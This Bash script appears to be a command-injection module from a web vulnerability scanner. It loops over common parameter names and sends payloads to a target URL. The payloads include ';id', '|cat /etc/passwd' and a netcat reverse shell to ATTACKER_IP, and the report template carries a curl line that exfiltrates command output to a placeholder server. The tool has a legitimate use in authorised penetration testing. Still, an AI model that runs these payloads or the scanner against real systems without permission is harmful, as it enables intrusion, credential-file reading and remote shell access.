75 lines
2.4 KiB
Bash
Executable File
75 lines
2.4 KiB
Bash
Executable File
#!/usr/bin/env bash
|
|
# Vector 04: Command Injection
|
|
# Desc: OS command injection via input fields, parameters
|
|
# Detect: Ping, traceroute, nslookup, whois, host, exec parameters
|
|
# Severity: CRITICAL
|
|
# Tools: curl
|
|
|
|
vector_cmdi() {
|
|
local target="$1"
|
|
local report="$2"
|
|
local findings=0
|
|
|
|
print_info "Testing Command Injection vectors..."
|
|
|
|
local cmd_params=("ping" "host" "lookup" "traceroute" "nslookup" "whois" "exec" "command" "cmd" "run" "trace" "target" "ip" "server")
|
|
local cmd_payloads=(
|
|
";id"
|
|
"|id"
|
|
"`id`"
|
|
"$(id)"
|
|
";whoami"
|
|
"|whoami"
|
|
";uname -a"
|
|
"|cat /etc/passwd"
|
|
"& ping -c 1 127.0.0.1 &"
|
|
"| nc -e /bin/sh ATTACKER_IP 4444"
|
|
";sleep 3"
|
|
"|sleep 3"
|
|
)
|
|
|
|
for param in "${cmd_params[@]}"; do
|
|
for payload in "${cmd_payloads[@]}"; do
|
|
local test_url=""
|
|
if [[ "$target" == *\?* ]]; then
|
|
test_url="${target}&${param}=${payload}"
|
|
else
|
|
test_url="${target}?${param}=${payload}"
|
|
fi
|
|
|
|
local start_time=$(date +%s%N)
|
|
local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
|
|
local end_time=$(date +%s%N)
|
|
local elapsed=$(( (end_time - start_time) / 1000000 ))
|
|
|
|
# Check for command output in response
|
|
if echo "$response" | grep -qiE "uid=[0-9]+|gid=[0-9]+|groups=[0-9]+|root|bin|daemon|Linux"; then
|
|
print_find "Command Injection!" "Command output detected via parameter $param with payload: $payload"
|
|
echo "SEVERITY: CRITICAL
|
|
VECTOR: Command Injection
|
|
DETAIL: OS command injection via parameter '$param' on $target
|
|
EVIDENCE: System command output reflected in response
|
|
EXPLOIT: ;curl http://YOUR-SERVER/$(id | base64)" > "$REPORTS_DIR/.finding_$(date +%s)_cmdi.txt"
|
|
findings=$((findings + 1))
|
|
break 2
|
|
fi
|
|
|
|
# Time-based detection
|
|
if echo "$payload" | grep -q "sleep"; then
|
|
if [ "$elapsed" -ge 2000 ]; then
|
|
print_find "Time-based Command Injection!" "Response delayed ${elapsed}ms with sleep payload"
|
|
echo "SEVERITY: CRITICAL
|
|
VECTOR: Command Injection (Time-based)
|
|
DETAIL: Time-based command injection via parameter '$param' on $target
|
|
EVIDENCE: ${elapsed}ms delay with sleep payload
|
|
EXPLOIT: verify with: ;ping -c 5 YOUR-SERVER" > "$REPORTS_DIR/.finding_$(date +%s)_cmdi-time.txt"
|
|
findings=$((findings + 1))
|
|
break 2
|
|
fi
|
|
fi
|
|
done
|
|
done
|
|
|
|
return $findings
|
|
}
|